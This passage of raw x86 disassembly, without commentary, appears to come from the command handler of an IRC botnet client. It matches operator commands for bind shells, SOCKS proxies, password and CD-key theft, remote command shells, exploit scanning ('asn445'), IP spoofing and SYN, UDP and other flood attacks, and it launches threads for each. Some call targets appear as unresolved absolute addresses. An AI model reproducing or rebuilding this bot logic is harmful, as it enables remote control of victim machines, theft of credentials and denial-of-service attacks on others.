[ebp+var_4AF0] push offset asc_42CA60 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA60 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C6A0 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C678 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C65C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C640 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C62C push offset dword_42C620 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C600 push offset dword_42C5F0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5E4 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5D8 push offset dword_42C5CC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C5B8 push offset dword_42C5AC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C590 push offset dword_42C580 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C564 push offset dword_42C554 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C53C push offset dword_42C530 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5D8 push offset dword_42C5CC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C5B8 push offset dword_42C5AC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C518 push offset dword_42C50C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C500 push offset dword_42C4F4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C564 push offset dword_42C554 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C53C push offset dword_42C530 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4E4 push offset dword_42C4D4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C4C4 push offset dword_42C4B4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C590 push offset dword_42C580 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C480 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4E4 push offset dword_42C4D4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C4C4 push offset dword_42C4B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C518 push offset dword_42C50C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C500 push offset dword_42C4F4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C438 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3E8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C3C4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C3A4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2E0 jnz short loc_403191 mov eax, offset unk_42C2B8 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1F8 push offset dword_42C1EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1D4 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C1A0 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C16C push eax mov dword_4CE758, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C0C4 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsn445 ; "asn445" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C050 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECEh jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 2680930h push eax push offset unk_42C014 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_43161A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_43161A jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFD4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431438, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431438 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431438[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB030 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D158 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF54 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2670ECEh jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j call near ptr 2680930h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BF18 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEE0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BEC0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call near ptr 2670000h nop loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE8C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2670ECEh jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 2680930h push eax push offset unk_42BE50 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push 